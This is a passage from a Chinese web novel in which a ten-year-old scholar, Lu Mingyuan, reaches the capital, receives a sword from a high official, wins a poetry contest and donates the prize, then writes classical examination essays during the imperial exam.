空气中,不再是吴侬软语的温婉,而是字正腔圆的官话,间或夹杂着陆明渊从未听过的各地方言。 行人摩肩接踵,衣着各异。 有身穿绫罗绸缎的富商,有步履匆匆的官员,有背着书箱的学子,还有那些面相独特的异域来客。 所有人共同构成了一幅包罗万象、气象万千的京城画卷。 这哪里是一座城,这分明是一个自成体系的世界。 “公子,我们……我们去哪儿?” 若雪的小脸紧紧贴着车窗,看着眼前这令人目不暇接的一切,眼中满是震撼与一丝不安。 陆明渊收回目光,神色依旧平静,心中却也掀起了不小的波澜。 他温声道:“先找个地方住下。去问问,京城里赶考的学子,都喜欢聚在哪个酒楼。” 老何很快便打听到了消息。 “公子,是状元楼。据说,大乾开国以来,有七位状元在赶考时都曾下榻于此,名头最是响亮。” “状元楼?” 陆明渊玩味地咀嚼着这个名字,点了点头。 “好名字,就去那儿。” 车队穿过几条街巷,来到了一座足有五层之高的宏伟酒楼前。 朱红色的牌匾上,“状元楼”三个鎏金大字龙飞凤舞,气势非凡。 楼下车水马龙,进进出出的,大多是作书生打扮的年轻人。 安顿好行李,陆明渊换上了一身干净的儒衫,拿着那封火漆封好的信,带着三个护卫出了门。 按照林瀚文给的地址,他穿过几条繁华的街道,来到了一处相对僻静的坊区。 这里的宅院不再追求奢华,而是透着一股庄重肃穆的气息。 大理寺卿,赵浩然府。 朱红色的府门紧闭,门口没有石狮,只有两名神情冷峻的护卫。 陆明渊上前,递上了自己的名帖和那封信。 管家是个五十多岁的老者,接过信,看到火漆上那个熟悉的“林”字私印时,原本平淡的眼神骤然一凝。 他仔細打量了陆明渊几眼,那眼神中充满了审视与惊疑。 “这位……陆小公子,是林部堂的弟子?” 管家的语气虽然客气,但那份难以置信却溢于言表。 “正是家师。” 陆明渊不卑不亢地回答。 管家不敢怠慢,连忙躬身道。 “小公子请随我来,老爷今日在大理寺当值,尚未归家,我已派人去通禀。” “您请先到书房稍作歇息,用些茶点。” 陆明渊被引着穿过几重庭院,来到一间书房。 这书房的陈设极为简单,没有名贵的古玩字画,只有四壁顶天立地的书架。 上面塞满了各种书籍和一卷卷用牛皮纸封好的案牍。 空气中弥漫着一股浓郁的墨香与陈旧纸张的味道,还夹杂着一丝淡淡的药味。 陆明渊没有坐下,而是缓步走到书架前,看着那些案牍的标签。 “永州旱灾,易子而食案”、“河间府三年沉尸案”、“两淮盐引贪墨案” 一个个触目惊心的名字,仿佛在无声地诉说着这位大理寺卿的日常。 就在这安静的等待中,时间缓缓流逝。 一个时辰后,门外传来了急促而沉稳的脚步声。 书房的门被推开,一个身穿绯色官袍,面容清癯,两鬓微霜,眼神锐利如鹰的男子大步走了进来。 他风尘仆仆,官帽都未来得及摘下,目光第一时间便锁定了站在书架前的那个瘦小身影。 “你便是瀚文兄的弟子,陆明渊?” 第162章 要在这满楼天骄面前,提笔作诗 赵浩然的声音,带着一丝沙哑,更带着一股常年审讯犯人时养成的威严与审视。 陆明渊没有被这股气势所慑,他平静地转过身,微微躬身。 “学生陆明渊,拜见赵大人。” 赵浩然的目光在他脸上停留了足足三息。 审视的威严瞬间冰消雪融,化作了爽朗的大笑。 “哈哈哈!好!好一个陆明渊!果然有几分你师父当年的风骨!” 他大步上前,一把扶住陆明渊的肩膀,那官袍上的风尘仆仆,仿佛都在这一笑中被抖落了干净。 “老夫与你恩师乃是同科进士,更是过命的交情。” “你这小子,既然到了京城,见了老夫,便如同见了你师父,不必如此拘谨。” 他拉着陆明渊,按着他在那张简朴的太师椅上坐下。 自己则随意地坐在了对面,连官帽都未摘,便急切地问道。 “那老东西在江南可还好?身体如何?有没有在信里骂老夫?” 陆明渊心中一暖,恭敬回道。 “恩师身体康健,时常在学生面前提起与赵大人的往事。” “信中……倒是未曾有责骂之言,只是嘱咐学生,到了京城,万事当以赵大人马首是瞻。” “马首是瞻?放屁!” 赵浩然眼睛一瞪,笑骂道。 “他林瀚文的弟子,要是成了跟在别人屁股后面的应声虫,他第一个就要从江南杀过来扒了我的皮!” “你别听他的,他这是客套话。” 他顿了顿,语气变得温和而真挚。 “明渊,你师父把你托付给我,我便不能让你受了委屈。” “这京城鱼龙混杂,不是江宁府可比。你年纪又小,独自住在外面,多有不便。” “我这府里别的不多,空院子有的是,你只管搬进来住下,一日三餐,自有下人照料。” “你只管安心读书,准备会试,其他的一概不用操心!” 这份热情,发自肺腑,不带一丝虚假。 陆明渊心中感激,但他来京城,并非只为科举。 状元楼的龙蛇,朝堂上的风云,这整个京城的脉搏,他都想亲手触摸。 他站起身,再次长揖及地,诚恳地说道。 “赵伯父厚爱,明渊感激不尽。只是……学生此来,除了求学,也想多结交些同年好友,互相切磋学问。” “状元楼鱼龙混杂,却也正是个人间百态的缩影,学生想多看一看,多听一听。还请伯父成全。” 赵浩然看着他,目光中闪过一丝讶异,随即化为深深的赞许。 他明白了,这孩子,和他师父一样,胸中自有丘壑,不愿久居人下,做那笼中之鸟。 “好!有志气!” 赵浩然抚掌而笑,不再强求。 “既然你心意已决,我也不做那恶人。住在状元楼也好,那里的确是消息汇聚之地。” “不过,你既叫我一声伯父,这见面礼,却是不能少的。” 他扬声唤道:“来人!” 一名护卫应声而入。 “去,把我书房里那把‘玄心’剑取来。” 护卫眼中闪过一丝震惊,但没有丝毫犹豫,躬身领命而去。 片刻之后,一个古朴的黑色剑匣被呈了上来。 赵浩然亲自打开剑匣,一泓秋水般的清光瞬间溢满了整个书房。 赵浩然握住剑柄,缓缓将剑抽出。 “锵——” 一声轻吟,如龙出渊。 剑身狭长,不见寒光,反而呈现出一种奇异的暗沉色泽。 可当赵浩然屈指在剑身上轻轻一弹,那剑刃处却陡然亮起一道细微的白线,锐利之气扑面而来。 隔着数步距离,陆明渊的皮肤都感到一阵刺痛。 “此剑名‘玄心’,乃是前朝剑圣葛玄的佩剑。” 赵浩然的声音带着一丝追忆。 “我早年戍边,侥幸立了些功劳,陛下将此剑赐下。” “它随我多年,斩过敌酋,也镇过宵小。如今我身居文职,宝剑蒙尘,实在可惜。” “你是文渊兄的弟子,剑法自然不弱,否则他不会放你来京都!” “你师父让你来京城这潭深水里闯荡,只给了你一块玉佩,那是君子之风,可这世道,有时候光有君子之风是不够的。” 他将剑连同剑鞘,郑重地交到陆明渊手中。 “拿着。它吹毛断发,削铁如泥,虽是无价之宝,但在我看来,用它来护你周全,才是它最好的归宿。” “记住,剑是凶器,也是仁器,用之正则正,用之邪则邪,存乎一心。” 陆明渊双手接过,那剑匣入手,竟是出乎意料的沉重。 这重量,不仅是剑本身的重量,更是这位大理寺卿沉甸甸的期许与庇护。 “伯父厚赐,明渊……愧不敢当。” “有什么不敢当的!” 赵浩然摆了摆手。 “你师父的弟子,便是我的子侄。收下吧,也让你师父知道,我赵浩然不是个小气的人。” 陆明渊不再推辞,郑重地将剑匣抱在怀中。 他又与赵浩然聊了些京中的风土人情与各方势力的盘根错节。 也详尽地回答了关于恩师林瀚文在江南的近况,直到天色渐晚,方才告辞。 回到状元楼时,楼中已是灯火通明,喧嚣热闹。 陆明渊让老何将“玄心”剑妥善收好,自己则来到三楼临窗的雅座,点了一壶清茶,静静地看着楼下的人来人往。 很快,便有邻桌的学子上前搭话。 “这位小兄台,看着面生得很啊。” 一个身穿宝蓝色绸衫,头戴逍遥巾的青年走了过来,他约莫十八九岁,面带微笑,眼中却带着几分探究。 “在下扬州孙文博,敢问小兄台高姓大名?竟能在这会试前夕,入住状元楼?” 他这话问得客气,实则点明了关键。 状元楼的规矩,人尽皆知,非举人功名者,千金难入。 眼前这孩童不过十岁,若也是举人,那未免太过骇人听闻。 陆明渊放下茶杯,淡然一笑道:“江宁府,陆明渊。侥幸得中,不足挂齿。” “江宁府陆明渊?” 那青年一愣,随即脸色微变,似乎想起了什么,拱手道:“原来是陆案首,失敬失敬。” 陆明渊的名号,在江南士林中早已传开。 十岁举人,天赐男爵,这等传奇,足以让任何心高气傲的才子收起轻视之心。 一下午的功夫,陆明渊的茶桌前人来人往,络绎不绝。 有真心前来结交,探讨学问的,陆明渊便以诚相待。 几番交谈下来,他那远超年龄的见识与谈吐,总能让对方如沐春风,引为知己。 也有那心思叵测,言语间总想打探他与林瀚文、赵浩然关系的。 他言语温和,滴水不漏,三言两语便将话题引开,让对方悻悻而归。 暮色四合,华灯初上。 状元楼的气氛被推向了高潮。 一楼的大堂中央,临时搭起了一座铺着红毯的高台。 数名身姿曼妙的舞女正随着丝竹之声翩翩起舞,水袖翻飞,环佩叮当。 楼中掌柜高声宣布,今夜以文会友。 凡入住楼中的举子皆可参与,拔得头筹者,可得彩银五百两! 五百两! 这笔钱,足够一个寒门之家数年的开销。 一时间,楼中气氛更是热烈,不少自负才学的举子已是摩拳擦掌,跃跃欲试。 陆明渊的桌上,此时也多了三位新朋友。 这三人皆是十九岁上下,衣着朴素,眉宇间却透着一股不屈的坚毅。 他们出身寒门,能在这个年纪考中举人,其天资与心志,可见一斑。 相比那些出身世家的公子,陆明渊与他们交谈,反倒觉得更加投契。 “陆小弟,你看楼下那帮人,眼睛都红了,跟瞧见肉骨头的饿狼似的。” 其中一个名叫张孝纯的寒门学子打趣道,他皮肤黝黑,手指粗糙,显然是做惯了农活的。 “五百两银子,够咱们在京城安安稳稳待到殿试放榜了,能不眼红吗?” 另一位名叫李慕白的学子叹了口气,他面容清秀,但眉间总带着一抹愁绪。 陆明渊笑了笑,没有说话,只是静静地看着楼下的歌舞升平。 看着那些或激动、或矜持、或不屑的众生之相。 就在这时,一名酒楼的伙计端着一个托盘,上面放着崭新的笔墨纸砚,径直走到了他们这一桌。 “几位爷,我们掌柜的说了,今夜楼中才子云集,三楼的爷们儿都是人中龙凤,还请各位不吝笔墨,也赐下一首大作,为今夜盛会添彩。” 张孝纯和李慕白等人顿时面露难色,他们擅长的是经义策论。 于诗词一道,虽也能做,却绝无争夺魁首的把握,在这种场合下,更是不愿献丑。 几人对视一眼,不约而同地看向了陆明渊。 “陆小弟,我等粗通文墨,就不在此丢人现眼了。你的大才,我等是心服口服的,这彩头,还得你来争上一争。”张孝纯诚恳地说道。 “是啊,陆小弟,也让我等开开眼界。” 面对众人的推举,陆明渊没有丝毫推辞。 他来京城,本就不是为了藏拙。 有时候,适当的锋芒,是最好的自保。 他缓缓站起身,走到桌前。 整个三楼的目光,不知不觉间,已经悄然汇聚于此。 一个十岁的孩童,要在这满楼天骄面前,提笔作诗? 喧嚣的乐声仿佛在这一刻都低了下去。 陆明渊神色平静,拿起那支对于他小手而言略显硕大的狼毫,饱蘸浓墨。 他没有立刻下笔,而是抬眼,看了一眼窗外。 手腕轻悬,笔锋微沉。 没有丝毫犹豫,没有片刻凝滞,笔尖在雪白的宣纸上,如神龙行空,翩然落下。 第163章 大乾王朝第一天才 三楼之上,无论是真心结交的寒门士子,还是心怀叵测的世家公子,此刻都屏住了呼吸。 他们看着陆明渊的身影,在明亮的灯火下,衣袂无风自动,竟有一种渊渟岳峙的宗师气度。 不过短短片刻,一首五言律诗便已跃然纸上。 字迹清隽,风骨自存,铁画银钩之间,透着一股不属于这个年纪的苍劲与沉静。 陆明渊轻轻放下笔,将宣纸吹了吹,墨迹未干,他便将它递给了身旁早已看呆了的伙计。 “有劳了。” 那伙计如梦初醒,双手颤抖地接过那张薄薄的纸。 他不敢多看,连忙转身,小心翼翼地捧着它,朝楼下走去。 整个三楼的目光,随着那张纸,一同向下飘去。 张孝纯和李慕白等人,紧张地攥紧了拳头,手心满是汗水。 他们比陆明渊自己还要紧张。 一楼的丝竹之声不知何时已经停歇,舞女们也悄然退到了台侧。 状元楼的掌柜亲自接过那张宣纸,展开一看,先是微微一愣,随即眼中爆发出惊人的亮光。 他清了清嗓子,用一种前所未有的激动语调,高声唱诵起来。 “京夜望月!” “年少辞乡陌,京华独倚栏。” “清辉凝玉宇,寒色浸云鬟。” “风动孤灯影,更深玉漏残。” “举头瞻朔月,低首念家山!” 第一句念出,楼中便是一片死寂。 “年少辞乡陌,京华独倚栏”。 这不正是楼中所有外地学子的真实写照吗? 离别家乡,独自一人在这繁华却又陌生的京城,凭栏远望,心中该是何等滋味? 当“举头瞻朔月,低首念家山”两句被念出时,楼中不知多少学子,瞬间红了眼眶。 这首诗,没有华丽的辞藻,没有生僻的典故,却字字句句,都敲在了这些游子的心坎上。 那份独在异乡的孤寂,那份对家乡亲人的思念,被这短短四十个字,描摹得淋漓尽致。 尤其是从一个十岁孩童的口中吟出,更添了一份令人心碎的真实。 “好一个‘举头瞻朔月,低首念家山’!” 不知是谁,在寂静中高喊了一声。 下一刻,雷鸣般的叫好声,从一楼到三楼,轰然炸响! “好诗!好诗啊!” “此诗一出,谁与争锋!” “陆案首大才!我等心服口服!” 掌柜的双手微微颤抖,他环顾四周,看着满楼激动不已的学子,深吸一口气,高声道。 “今夜诗会魁首,江宁府,陆明渊陆案首!彩银五百两!” 话音刚落,一名伙计便端着一个巨大的红漆托盘走了上来。 托盘之上,是码放得整整齐齐的银锭,在灯火下闪烁着眩目而诱人的光芒。 五百两白银! 这笔巨款,足以让一个寒门之家彻底改变命运。 也足以让任何一个举子在京城过上一年半载锦衣玉食的生活。 无数道羡慕、嫉妒、灼热的目光,都汇聚在了那盘白银之上。 然而,作为这一切的中心,陆明渊却只是平静地看着。 他看着那托盘被伙计恭恭敬敬地端到自己面前,看着张孝纯和李慕白等人脸上那发自内心的激动与喜悦。 他没有伸手去接,只是对着那掌柜温和一笑,声音清朗,却足以让整个三楼都听得清清楚楚。 “掌柜的,这笔银子,明渊愧领。” 此言一出,满座皆惊。 张孝纯急道:“陆小弟,这是你应得的,如何愧领?” 陆明渊摇了摇头,目光扫过三楼一张张或惊讶,或不解的脸庞,缓缓说道。 “明渊此来京城,只为求学。能与诸位同年在此相聚,以文会友,已是幸事。” “这彩头,不过是锦上添花罢了。” 他顿了顿,转向掌柜,微微躬身。 “便请掌柜代为保管这五百两银子。” “自今日起,凡入住状元楼的应试举子,囊中羞涩者,其房费,皆出于此,直至用尽为止。” “也算……明渊为天下学子,尽一份绵薄之力!” 整个状元楼,在这一刻,落针可闻。 所有人都被陆明渊这番话给震住了。 五百两白银! 说不要就不要了? 还要拿出来,请天下寒门学子住店? 短暂的死寂之后,是比之前更加猛烈的轰动! “陆案首高义!” “高义啊!我辈读书人的楷模!” “我……我代天下寒门,谢过陆案首!” 一名学子竟是激动地站起身,对着陆明渊的方向,深深一揖。 紧接着,第二个,第三个…… 三楼之上,那些出身寒微的举子,尽皆起身,对着那个小小的身影,行了大礼。 他们的眼中,不再是羡慕或嫉妒,而是发自肺腑的敬佩与感激。 那些出身世家的公子,此刻也是面面相觑,脸上一阵青一阵白。 他们或许能写出同样精妙的诗句,却绝没有这份胸襟与气魄。 在这片山呼海啸般的赞誉声中,陆明渊只是平静地回了一礼,然后重新坐下,仿佛做了一件微不足道的小事。 这一夜,状元楼无眠。 “十岁解元,诗夺魁首,五百两银义请天下学子”的消息,迅速传遍了整个京城的科举圈。 第二天清晨,关于陆明渊的传说,已经开始在京城的街头巷尾,茶馆酒肆里流传。 说书人将昨夜的故事,添油加醋,说得是天花乱坠,引来阵阵喝彩。 “话说那陆神童,身高不过五尺,面如冠玉,站在那满楼天骄面前,竟是气度非凡。” “他提笔挥毫,笔走龙蛇,顷刻间便是一首千古绝唱……” 三天之内,陆明渊的名字,响彻京都。 从他十岁中举,天赐男爵的传奇,到他勇夺状元楼诗魁的风采,再到他一掷千金,义请学子的胸襟。 每一个故事,都足以让人津津乐道。 “大乾王朝数百年第一天才”,这个名号,被无数人挂在了嘴边。 一时间,状元楼门庭若市,无数人都想来一睹这位传奇神童的真容。 有真心拜访的学子,有好奇的百姓,更有各方势力派来刺探的探子。 然而,陆明渊却仿佛从人间蒸发了一般。 他根本不在意这些虚名,第二天一早,便带着若雪和赵浩然派来的几名护卫,悄然离开了状元楼。 他换上了一身普通的布衣,像一个真正的好奇孩童,穿梭在京都繁华的街巷之中。 他去看天桥下的杂耍,听胡同里的京韵大鼓;他去尝东来顺的涮羊肉,吃护国寺的小吃。 他站在宽阔的朱雀大街上,看着南来北往的马车与行人,感受着这座千年帝都的脉搏。 这样的日子,悠闲而充实。 转眼,便是半个月过去。 京城中的气氛,随着会试日期的临近,一天比一天紧张凝重。 空气中,仿佛都弥漫着笔墨与期望的味道。 陆明渊也结束了闲逛,回到状元楼,每日闭门不出。 他将四书五经、历代策论温习了一遍又一遍,将自己的状态,调整到了巅峰。 会试之日,终于到来。 天还未亮,整个京城便已苏醒。 数千举人,从京城的各个角落涌出,如百川归海,汇向同一个方向——京都贡院。 陆明渊也在张孝纯、李慕白等人的陪伴下,随着人流,来到了那座气势恢宏的建筑前。 贡院门前,人潮如织,汇聚了来自大乾王朝四面八方的才子。 他们或昂首挺胸,或神色凝重,或交头接耳,每个人的眼中都燃烧着名为“功名”的火焰。 在这片由青衫构成的海洋里,那个十岁的身影,显得格外单薄。 陆明渊仰头望着那高悬的“为国求贤”匾额,眼神平静得像一汪深不见底的古潭。 “陆小弟,莫要紧张,以你的才学,定能高中!” 张孝纯拍了拍他的肩膀,给他打气。 陆明渊回过头,对他们笑了笑:“张兄,李兄,诸位,我们……龙门前再会。” 说罢,他不再多言,随着人流,一步一步,坚定地走向了那座决定无数人命运的龙门。 第164章 吉时已到,开考! 贡院之外,原本如潮水般涌动的人群,在这声锣响之下,骤然凝固了一瞬。 朱红色的高墙,隔绝了两个世界。 墙外,是红尘万丈,是期盼、是焦虑、是无数双遥望的眼睛。 墙内,是龙门在前,是寂静,是三千多名举人未来九天的命运。 禁军甲胄鲜明,如一排排冰冷的铁铸雕塑,将围观的百姓与焦灼的亲属隔在栅栏之外。 秩序井然,却也因此更显肃杀。 这里的气氛,远比江宁府的乡试要严苛百倍。 空气中弥漫的,不仅仅是笔墨的清香,更有一种无形的压力,沉甸甸地压在每一个人的肩头。 陆明渊混在人流之中,感受着这份独属于京都会试的沉重。 他身边的考生,大多已是而立之年,甚至不乏须发花白的老者。 他们脸上刻着岁月的风霜,眼中燃烧着不甘与执着。 相比之下,那些二十出头的年轻人,身上则带着一股掩饰不住的锐气与矜贵,举手投足间,皆是世家子弟的风范。 真正的寒门子弟,在这片青衫的海洋里,反倒成了零星的点缀,显得那般单薄。 他递上江宁府颁发的举人玉引和会试的号码牌。 负责查验的吏员看到他的年纪,眼中闪过一丝惊讶,但手上的动作却未有丝毫停顿,公事公办地挥手放行。 第一道检查,只是粗略搜检,防止携带书册纸张。 然而,当踏入贡院的第二道门时,真正的严苛才扑面而来。 一排面无表情的兵丁,将所有考生引入一个个隔开的小间。 在这里,所有人都必须脱去外衣、鞋袜,最后只剩下贴身的亵衣。 冰冷的空气侵袭着肌肤,带来一阵轻微的战栗。 兵丁们粗糙的手指,会仔细地检查发髻,撩开亵衣的边角,甚至连嘴巴都要张开查看。 这是一种将人的尊严彻底剥离,放在天光下暴晒的流程。 许多养尊处优的世家公子,脸上都露出了屈辱与不忿的神色,却又不敢有丝毫反抗。 十年寒窗,为的就是这一朝,任何细微的差池,都可能断送前程。 轮到陆明渊时,那名负责搜检的兵丁看着他小小的身板,粗砺的手指在他身上摸索的动作,不自觉地放轻了许多。 他甚至没有让陆明渊将亵衣完全撩开,只是象征性地检查了一下,便挥了挥手。 “进去吧。” 陆明渊没有多言,只是默默地穿好衣服,拎起自己的考篮。 他心中并无多少屈辱之感,更多的,是一种冷静到近乎漠然的观察。 在绝对的规则面前,无论是世家公子,还是寒门书生,甚至是十岁的神童,都必须被还原成最原始的“考生”身份,赤裸而平等。 经过重重关卡,一名小吏终于将他引到了属于他的号舍。 “乙字捌拾柒号。” 小吏用钥匙打开了门锁,一股淡淡的桐油与新木料的味道传来。 这间号舍,与杭州府贡院的相比,大小相仿,却明显要整洁明亮许多。 墙壁粉刷的雪白,桌椅板凳都是崭新的实木,表面光滑,没有任何可以藏匿的抽屉或夹层。 除了坐立与书写的木板,角落里还多了一块可以勉强躺卧的窄木板,算是对考生们九天煎熬的一点微末体恤。 当号舍的门在身后“咔哒”一声重新锁上,陆明渊彻底与外界隔绝了。 他将考篮放在桌上,没有立刻整理文具,而是静静地站在狭窄的空间里,打量着这个即将在未来九天成为他全世界的地方。 头顶是一片窄窄的天空,墙角有前人无意间留下的墨痕,空气中浮动着细小的尘埃。 这里是囚笼,也是战场,更是通往青云之路的唯一阶梯。 “咣当,咣当……” 随着贡院大门缓缓关闭、落锁的声音传来,整个贡院彻底成了一座与世隔绝的孤岛。 约莫一炷香后,有巡考官开始挨个号舍发放笔墨纸砚。 所有人的文房四宝都是统一规制,宣纸是上好的玉版宣,墨是徽州松烟墨,笔是湖州羊毫。 如有损坏,可在开考前申请更换,一旦开考,便再无机会。 陆明渊仔细检查了一遍,确认无误。 又过了一炷香的功夫,正中明远楼上的钟声被敲响。 主考官那洪亮而威严的声音,穿透了数千间号舍的阻隔,清晰地传到每个人的耳中。 “吉时已到,开考!” 话音落,巡考官们立刻开始发放试卷。 一张温润厚实的宣纸,从号舍门上的小窗递了进来。陆明渊伸出双手,恭敬地接过。 入手微沉,纸质细腻,带着淡淡的檀香。 他将试卷平铺在桌案上,目光落了上去。 第一场,考的便是经义。三天之内,要完成三道题。 而今日的题目,是四书义。 一共三道,皆取自《论语》《孟子》。 要求以八股之体,各成一篇,字数需在六百至八百之间。 陆明渊的目光,落在了第一道题目上。 那一行用宋体刻印的字迹,清晰而端正。 【子曰:“德不孤,必有邻。”】 一个再经典不过的题目。 从破题、承题,到起讲、入手,再到起股、中股、后股、束股,其中的关窍转折,恩师林瀚文早已掰开了揉碎了讲过无数遍。 天下间的读书人,但凡有志于科举者,对这道题目的各种解法,怕是都能倒背如流。 然而,越是这样的题目,便越是考验功力。 它就像是一张白纸,人人都可以在上面作画,但谁能画出气象万千,谁又只能画出匠气庸形,高下立判。 陆明渊没有急。 他坐在那张硬邦邦的木凳上,腰背挺得笔直。 他缓缓地从考篮中取出那方统一发放的砚台,将墨块置于其上,然后提起水盂,滴入几滴清水。 左手扶着砚台,右手握住墨块,开始以一种不疾不徐的节奏,缓缓研磨。 “沙……沙……” 细微而规律的摩擦声,在寂静的号舍里响起。 他的心,随着这研磨的动作,一点一点地沉静下来。 “德不孤,必有邻。” 孔夫子两千多年前的一句话,隔着浩瀚的时空,在他心头缓缓流淌。 什么是德? 是陆家村赵先生的悉心启蒙,是困顿之中不求回报的引路之恩。 是父亲陆从文的憨厚质朴,是母亲王氏变卖嫁妆也要供他读书的慈爱。 是林瀚文恩师的倾囊相授,是将那枚代表着传承与责任的“丹心佩”交到他手中的殷切期盼。 是状元楼中,他散尽五百两白银后,那些寒门学子眼中亮起的敬佩与感激之光。 这些,都是德。 那什么是邻? 是林远峰跨越阶级的友谊,是在他初露锋芒时,便毫不犹豫地将整个翰墨轩的未来押在他身上的信任。 是赵浩然伯父的庇护,是从江陵县到这繁华京都,一路上的保驾护航。 是张孝纯、李慕白等一众同年,发自内心的维护与支持。 是那些素不相识,却因一首诗、一个义举,便对他报以善意的陌生人。 这些人,都是邻。 有德,便不会孤独。 因为德行本身,就像是一块磁石,会吸引来志同道合的伙伴。 它又像是一盏灯,能照亮前路,也能让远方的人看见你的光。 其中的道理,陆明渊早已不是从书本上读来,而是用他这十年的人生,一步一步,亲身验证过的。 一炷香的时间,悄然流逝。 砚台中的墨汁,已经变得乌黑油亮,浓稠的如同化不开的夜。 陆明渊停下了手中的动作。 他将墨块轻轻搁在一旁,提起那支崭新的羊毫笔,饱蘸浓墨。 笔尖在空中悬停了一瞬,然后,他缓缓睁开眼。 那双清澈的眸子里,所有的杂念、思绪、感怀,尽数褪去,只剩下一片前所未有的清明与专注。 笔尖落下。 没有丝毫的犹豫与迟疑。 第165章 这届会试,怕是要出大事了! 【圣论德邻之契,明天人合一之机也。】 圣人论德,非仅仅论人伦日用,更是阐明此德行与天地万物相契合的玄机。 仅仅一句,便已显露出远超同侪的眼界与气魄。 陆明渊手腕平稳,笔锋流转,承题之句紧随其后。 【夫德者,秉于天而具于心;邻者,应乎人而征于外。心存其德,则远迩皆应,何孤之有?】 如果说破题是立意,那么承题便是解意。 德,是源于天道,内化于本心的根本。 邻,是人心感应,显现于外的征兆。 这两句,如阴阳合抱,将内心的“德”与外在的“邻”紧密联系在一起。 逻辑严丝合缝,文气贯通,直接回应了题眼中的“不孤”二字。 心中有德,四方来应,又哪里会感到孤独呢? 至此,文章的骨架已然立定。 寻常考生,能做到这一步,已算得上是中上之选。 但对于陆明渊而言,这仅仅是个开始。 他笔锋一顿,吸足了墨,那股在心中酝酿已久,由无数人和事汇聚而成的感怀与信念,终于找到了宣泄的出口。 【尝思乾坤有正气,塞乎天地之间。人得之为德,此德既立,自能通幽明,感万物...】 他的笔下,仿佛真的有那么一股浩然之气在流淌。 从天地宇宙的宏大叙事,落笔到每一个具体的人。 这股正气,是文天祥笔下的不朽诗篇,是孟子口中的“吾善养吾浩然之气”。 而人,一旦拥有了这股以“德”为名的正气,便建立起了一种与整个世界沟通的桥梁。 上可以通达幽微神明,下可以感召万物生灵。 文章的气势,至此被彻底推向了高峰。接下来,便是最考验功底的八股部分。 陆明渊的思绪,沉入一片澄明之境。 【是故君子修身以立德,非为外名,实为内安。盖人心之孤,非在身之独处,而在心之无根。德者,心之根也。有德于心,则神明自持,气象安然。虽处陋室,心如广厦;虽对空壁,如晤良朋。此《大学》所谓‘诚于中’,亦夫子所谓‘内不省身,无可怍也’。其心不愧于屋漏,其神不乱于寂寥,此为内不孤也。】 他论述的,是“德”为何是人之为人的根本。 他将“孤”的概念,从物理的隔绝,引向了精神的空虚。 真正的孤独,不是身边无人,而是心中无根。 而“德”,便是心灵的根系。 有德之人,内心充盈,精神自足,即便身处斗室,也如置身于天地广厦,坦荡安宁。 这便是“内不孤”,是德行带给个体内在的圆满与强大。 写下这段文字时,陆明渊想到了自己。 在这狭窄的号舍里,他何尝不是独处? 但他心中有赵先生的启蒙之恩,有父母的舐犊之情,有恩师的丹心之托,有林远峰等友人的赤诚之谊。 这些,都化作了他内心的根,让他在这肃杀之地,也能心神安宁,坦然自若。 文思泉涌,下笔不停。起股既成,中股自然生发,由内而外,推己及人。 【德之于内,既已不孤,其发于外,则光华自现,芬芳远播,又岂有不邻之理?昔者帝舜耕于历山,未尝教诲,而人皆化之,其地‘一年成聚,二年成邑,三年成都’,所感者,德也。孔子周游列国,厄于陈蔡,而门徒三千,贤人七十,生死相随,不离不弃,所系者,亦德也。故曰:‘德之不修,学之不讲,吾忧也。’德行之香,非兰非麝,却能沁人心脾;德行之光,非日非月,亦能烛照四方。近者悦服而来,远者闻风而慕。此为外不孤也。】 他以舜帝与孔子为例,将德行的感召力描绘得淋漓尽致。 舜的德行,能让荒野之地变为繁华都市;孔子的德行,能让三千门徒在绝境中生死相随。 德,就像是一种无形的光与香,自然而然地吸引着周围的人。 这便是“外不孤”,是德行在社会关系中的必然结果。 他写的不仅仅是历史,更是他自己的亲身经历。 状元楼中五百两银子散尽,换来的,不正是那些寒门学子眼中亮起的,名为“邻”的光芒吗? 起股论内,中股论外,内外结合,如双龙出海,气势磅礴。文章至此,已是浑然天成。 最后,便是收束与升华。 【由是观之,德邻之契,实乃修身、齐家、治国、平天下之基石。小而言之,士人君子,独善其身,恪守德行,则友朋汇聚,乡里和睦。大而言之,天子公卿,以德化民,垂范天下,则四海归心,万邦来朝。故德为立身之本,亦为治世之要。人人皆有其德,则人人皆有其邻,天下熙熙,皆为德邻,何愁天下不太平?此‘天下归仁’之终极景致,亦即圣人此言之微言大义也。】 陆明渊的笔锋,在最后一句落下时,带着一丝金石之声。 他将个人的德行,与“平天下”的最终理想联系在一起。 从一个读书人的修身,写到了帝王的治国方略,最终汇入“天下归仁”的儒家最高理想。 整篇文章,由小及大,由内而外,层层递进,气势恢宏,格局开阔。 仿佛不是一个十岁孩童所写,而是一位浸淫经义数十载的大儒,在阐述自己一生的政治与哲学抱负。 当最后一个字写完,陆明渊轻轻吁了口气。 砚台中的墨汁,恰好用去了小半。他将试卷放在一旁,让墨迹自然风干。 没有片刻的停歇,他甚至没有喝一口水,便拿起了第二道题。 【有子曰:“其为人也孝弟,而好犯上者,鲜矣;不好犯上,而好作乱者,未之有也。君子务本,本立而道生。孝弟也者,其为仁之本与!”】 【子曰:“君子食无求饱,居无求安,敏于事而慎于言,就有道而正焉,可谓好学也已。”】 这两道题,一道论“孝悌”与“仁”之本,一道论“好学”之标准,皆是《论语》中的经典篇章。 对于旁人而言,每一道题都需绞尽脑汁,反复构思。 但对于此刻的陆明渊来说,他的思维正处在前所未有的巅峰状态。 第一篇文章的酣畅淋漓,将他的精神与才思彻底点燃。 他几乎没有构思太久,之前流淌于心中的那些关于亲情、恩义、求学之路的感悟,此刻都化作了最精妙的八股文章。 破题、承题、起讲……下笔如有神助。 他的动作行云流水,快得甚至有些不真实。 时间,在墨香中悄然流逝。 当陆明渊将第三篇八股文的最后一个字写完,他抬起头,活动了一下有些僵硬的脖颈。 窗外的天光依旧明亮,他看了一眼用来计时的线香,才发现,从开考到现在,仅仅过去了两个时辰。 两个时辰,三篇六百字以上的八股文,全部完成。 这速度,堪称恐怖。 …… 不远处,一名身着吏服的巡考官正迈着方步,在狭长的巷道间来回踱步。 他的任务,是监察这片区域的考生,防止任何舞弊行为,同时也应对一些突发状况。 他见过太多考生,有的抓耳挠腮,半天落不下一个字;有的伏案痛哭,显然是精神崩溃;还有的早早睡去,已然放弃。 百态众生,皆在这些小小的号舍之中。 他的脚步,在“乙字捌拾柒号”前,不自觉地停顿了一下。 因为他听到,里面那密集的书写声,停了。 这么快就停了? 巡考官眉头微皱,心中闪过一丝疑虑。 是放弃了?还是遇到了难题,正在凝神苦思? 他悄无声息地凑到号舍门上的观察小窗前,眯起一只眼,朝里面望去。 